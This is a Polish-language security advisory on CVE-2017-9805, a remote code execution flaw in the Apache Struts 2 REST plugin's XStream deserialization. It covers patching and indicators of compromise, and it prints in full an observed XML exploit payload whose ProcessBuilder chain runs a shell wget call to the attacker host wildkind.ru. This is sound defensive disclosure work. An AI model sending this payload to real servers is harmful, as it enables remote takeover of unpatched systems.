CVE-2017-9805 – Zdalne wykonanie kodu w Apache Struts 2 REST Plugin XStream

Data publikacji: 13/09/2017, Kamil Frankowicz

Parę dni temu została opublikowana łatka oraz exploit na podatność CVE-2017-9805.  Luka ta obecna od ośmiu lat w kodzie pluginu REST, pozwala na zdalne wykonanie kodu na serwerze hostującym aplikację we frameworku Apache Struts 2.

Według szacunków firmy analitycznej RedMonk aplikacje bazujące na tym rozwiązaniu posiada co najmniej 65% firm z listy Fortune 100. Jest to już czwarta w tym roku luka umożliwiająca zdalne wykonanie kodu w Apache Struts 2, po lukach CVE-2017-5638, CVE-2017-9791, CVE-2017-12611.

W jaki sposób działa CVE-2017-9805 i jak się obronić przed atakiem?

Zagrożenie polega na przeprowadzanej automatycznie, niewłaściwej serializacji danych w formacie XML pochodzących od klienta w bibliotece XStream we wtyczce REST. Podatność własnej aplikacji możemy sprawdzić przy użyciu tego skryptu.

Podatność znajduje się w metodzie toObject() klasy XStreamHandler (definicja w interfejsie ContentTypeHandler), która nie waliduje wartości otrzymanej z „zewnątrz” przed procesem deserializacji.

Załatanie luki wymaga aktualizacji Apache Struts 2 do wersji 2.5.13, lub wyłączeniu pluginu REST w aplikacji.

Problemy z tego typu operacjami, skutkującymi zdalnym wykonaniem kodu na serwerze, były zaprezentowane na konferencji DEF CON w 2013 roku w prezentacji „RESTing On Your Laurels will Get You Pwned”.

Przykładowe żądanie HTTP (bez nagłówków) z obserwowanych przez nas prób wykorzystania luki:

POST /struts2-rest-showcase/orders/3

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>/bin/sh</string><string>-c</string><string>wget -qO /dev/null http://wildkind.ru:8082/?podatnastrona</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer/>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

Dane XML wykorzystywane w masowych skanowaniach są nieznacznie zmienione w stosunku do exploita z Metasploit – element ibuffer jest zapisany jako <ibuffer/> zamiast <ibuffer></ibuffer> . Obie formy są funkcjonalnie równoważne. Exploit wykorzystywany w masowych atakach pochodzi z jednej z pierwszych wersji modułu Metasploit.

Obserwowane źródła prób skanowania i ataków

Adresy IP:

    • 101.37.175.165
    • 141.101.76.226
    • 141.101.105.240
    • 162.158.111.235
    • 162.158.182.26
    • 188.120.246.215

Domeny:

    • wildkind.ru
    • st2buzgajl.alifuzz.com

Niektóre z tych adresów są regularnie wykorzystywane w działalności przestępczej – m.in jako punkty dystrybucyjne malware na smartfony z systemem Android, podszywające się pod popularny rosyjski portal społecznościowy VKontakte (VK).